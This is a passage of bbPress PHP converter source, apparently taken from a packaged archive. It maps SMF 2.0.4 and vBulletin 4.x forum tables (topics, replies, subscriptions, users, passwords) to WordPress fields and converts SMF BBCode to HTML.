			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		/**
		 * SMF v2.0.4 Forums do not support topic tags out of the box
		 */

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'log_notify',
			'from_fieldname'  => 'id_topic',
			'from_expression' => 'WHERE log_notify.id_topic != 0',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'log_notify',
			'from_fieldname'  => 'id_member',
			'from_expression' => 'WHERE log_notify.id_topic != 0',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'id_msg',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'id_board',
			'join_tablename'  => 'messages',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (id_topic) WHERE topics.id_first_msg != messages.id_msg',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'id_topic',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'messages',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'id_member',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_name',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'id_member',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'body',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'id_topic',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'id_member',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'passwd',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'SMF'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'member_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'member_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'email_address',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'website_url',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'date_registered',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'real_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'yim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_yim'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_msn'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'signature',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_sig',
			'callback_method' => 'callback_html'
		);

		// Store Avatar (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'avatar',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_avatar',
			'callback_method' => 'callback_html'
		);

		// Store Location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'location',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_location',
			'callback_method' => 'callback_html'
		);

		// Store Personal Text (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'personal_text',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_smf_user_personal_text',
			'callback_method' => 'callback_html'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'username' => $row['member_name'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] === sha1( strtolower( $pass_array['username'] ) . $password ) ? true : false );
	}

	/**
	 * Translate the post status from SMF v2.0.4 numerics to WordPress's strings.
	 *
	 * @param int $status SMF v2.0.4 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from SMF v2.0.4 numerics to WordPress's strings.
	 *
	 * @param int $status SMF v2.0.4 numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky'; // SMF Sticky 'is_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal'; // SMF normal topic 'is_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count SMF v2.0.4 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This callback processes any custom parser.php attributes and custom code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strips SMF custom HTML first from $field before parsing $field to parser.php
		$SMF_markup = $field;
		$SMF_markup = html_entity_decode( $SMF_markup );

		// Replace '[quote]' with '<blockquote>'
		$SMF_markup = preg_replace( '/\[quote\]/',        '<blockquote>',  $SMF_markup );
		// Replace '[quote ($1)]' with '<blockquote>"
		$SMF_markup = preg_replace( '/\[quote (.*?)\]/' , '<blockquote>',  $SMF_markup );
		// Replace '[/quote]' with '</blockquote>'
		$SMF_markup = preg_replace( '/\[\/quote\]/',      '</blockquote>', $SMF_markup );

		// Replace '[glow]' with ''
		$SMF_markup = preg_replace( '/\[glow\]/',   '',       $SMF_markup );
		// Replace '[glow]' with ''
		$SMF_markup = preg_replace( '/\[glow=(.*?)\]/',   '', $SMF_markup );
		// Replace '[/glow]' with ''
		$SMF_markup = preg_replace( '/\[\/glow\]/', '',       $SMF_markup );

		// Replace '[shadow]' with ''
		$SMF_markup = preg_replace( '/\[shadow\]/',   '',       $SMF_markup );
		// Replace '[shadow]' with ''
		$SMF_markup = preg_replace( '/\[shadow=(.*?)\]/',   '', $SMF_markup );
		// Replace '[/shadow]' with ''
		$SMF_markup = preg_replace( '/\[\/shadow\]/', '',       $SMF_markup );

		// Replace '[move]' with ''
		$SMF_markup = preg_replace( '/\[move\]/',   '', $SMF_markup );
		// Replace '[/move]' with ''
		$SMF_markup = preg_replace( '/\[\/move\]/', '', $SMF_markup );

		// Replace '[table]' with '<table>'
		$SMF_markup = preg_replace( '/\[table\]/',   '<table>',  $SMF_markup );
		// Replace '[/table]' with '</table>'
		$SMF_markup = preg_replace( '/\[\/table\]/', '</table>', $SMF_markup );
		// Replace '[tr]' with '<tr>'
		$SMF_markup = preg_replace( '/\[tr\]/',   '<tr>',  $SMF_markup );
		// Replace '[/tr]' with '</tr>'
		$SMF_markup = preg_replace( '/\[\/tr\]/', '</tr>', $SMF_markup );
		// Replace '[td]' with '<td>'
		$SMF_markup = preg_replace( '/\[td\]/',   '<td>',  $SMF_markup );
		// Replace '[/td]' with '</td>'
		$SMF_markup = preg_replace( '/\[\/td\]/', '</td>', $SMF_markup );

		// Replace '[list]' with '<ul>'
		$SMF_markup = preg_replace( '/\[list\]/',     '<ul>',                      $SMF_markup );
		// Replace '[liist type=decimal]' with '<ol type="a">'
		$SMF_markup = preg_replace( '/\[list\ type=decimal\]/',   '<ol type="a">', $SMF_markup );
		// Replace '[li]' with '<li>'
		$SMF_markup = preg_replace( '/\[li\]/',   '<li>',  $SMF_markup );
		// Replace '[/li]' with '</li>'
		$SMF_markup = preg_replace( '/\[\/li\]/', '</li>', $SMF_markup );

		// Replace '[tt]' with '<tt>'
		$SMF_markup = preg_replace( '/\[tt\]/',   '<tt>',  $SMF_markup );
		// Replace '[/tt]' with '</tt>'
		$SMF_markup = preg_replace( '/\[\/tt\]/', '</tt>', $SMF_markup );

		// Replace '<br />' with '<br>'
		$SMF_markup = preg_replace( '/\<br \/\>/', '<br>', $SMF_markup );

		// Replace '[size=$1]' with '<span style="font-size:$1%;">$3</span>'
		$SMF_markup = preg_replace( '/\[size=(.*?)\]/', '<span style="font-size:$1">', $SMF_markup );
		// Replace '[/size]' with '</span>'
		$SMF_markup = preg_replace( '/\[\/size\]/',     '</span>',                     $SMF_markup );

		// Replace non-break space '&nbsp;' with space ' '
		$SMF_markup = preg_replace( '/&nbsp;/', ' ', $SMF_markup );

		// Now that SMF custom HTML has been stripped put the cleaned HTML back in $field
		$field = $SMF_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/vBulletin.php000066600000053062151771460310014330 0ustar00<?php

/**
 * bbPress vBulletin 4.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of vBulletin v4.x Converter.
 *
 * @since 2.3.0 bbPress (r4724)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/vbulletin
 */
class vBulletin extends BBP_Converter_Base {

	/**
	 * Main constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'forumid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'parentid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'threadcount',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'replycount',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'threadcount',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'replycount',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'title',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'title_clean',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forum',
			'from_fieldname' => 'displayorder',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = -1 or Forum > 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum',
			'from_fieldname'  => 'parentid',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date( 'Y-m-d H:i:s' )
		);
		$this->field_map[]	 = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date( 'Y-m-d H:i:s' )
		);
		$this->field_map[]	 = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date( 'Y-m-d H:i:s' )
		);
		$this->field_map[]	 = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date( 'Y-m-d H:i:s' )
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribeforum',
			'from_fieldname'  => 'forumid',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribeforum',
			'from_fieldname'  => 'userid',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'threadid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'forumid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'replycount',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'replycount',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'postuserid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'postusername',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'postuserid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'post' table because 'thread' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'ipaddress',
			'join_tablename'  => 'thread',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (threadid) WHERE post.parentid = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'title',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'forumid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic content.
		// Note: We join the 'post' table because 'thread' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'pagetext',
			'join_tablename'  => 'thread',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (threadid) WHERE post.parentid = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'open',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'thread',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename' => 'thread',
			'from_fieldname' => 'lastpost',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'tagcontent',
			'from_fieldname'  => 'contentid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'tagcontent',
			'from_fieldname'  => 'tagid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tagtext',
			'join_tablename'  => 'tagcontent',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tagid)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		// Term slug.
		$this->field_map[] = array(
			'from_tablename'  => 'tag',
			'from_fieldname'  => 'tagtext',
			'join_tablename'  => 'tagcontent',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tagid)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'slug',
			'callback_method' => 'callback_slug'
		);

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribethread',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'subscribethread',
			'from_fieldname'  => 'userid',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'postid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'threadid',
			'from_expression' => 'WHERE parentid != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'post',
			'from_fieldname' => 'ipaddress',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'username',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'pagetext',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'threadid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[]	 = array(
			'from_tablename'  => 'post',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'userid',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'salt',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_salt'
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'vBulletin'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'homepage',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'joindate',
